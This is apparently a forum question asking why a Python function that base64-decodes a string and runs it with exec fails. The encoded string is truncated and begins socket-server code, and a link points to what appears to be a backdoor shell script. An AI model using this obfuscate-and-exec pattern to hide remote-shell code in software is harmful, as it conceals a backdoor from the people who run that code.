title: Execute encrypted script
body: <p>I have a python script that reads deciphers base64 encrypted strings, im TRYING to have it so when the string is decrpyted its contents are executed. </p>
  
  <pre class="lang-py prettyprint-override"><code>def crypexec(jargon):
  #push base64 through decryptor
   decipher = base64.b64decode(jargon)
  #execute instructions in the encoded string
   exec decipher
  
  ferret= unicode("""DQpzZXJ2ZXIgPSBzb2NrZXQuc29ja2V0KHC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJF..
  </code></pre>
  
  <p>then i attempt to call it back with </p>
  
  <pre><code>crypexec(ferret)
  </code></pre>
  
  <p>Does not work</p>
  
  <p><a href="http://code.google.com/p/0xic-zex/source/browse/trunk/Python/BD/bd_shell.py" rel="nofollow">This</a> is what ferret looks like unecrypted. Of course i removed the import portions of the ciphered script before running it, still cant understand why it doesnt work.</p>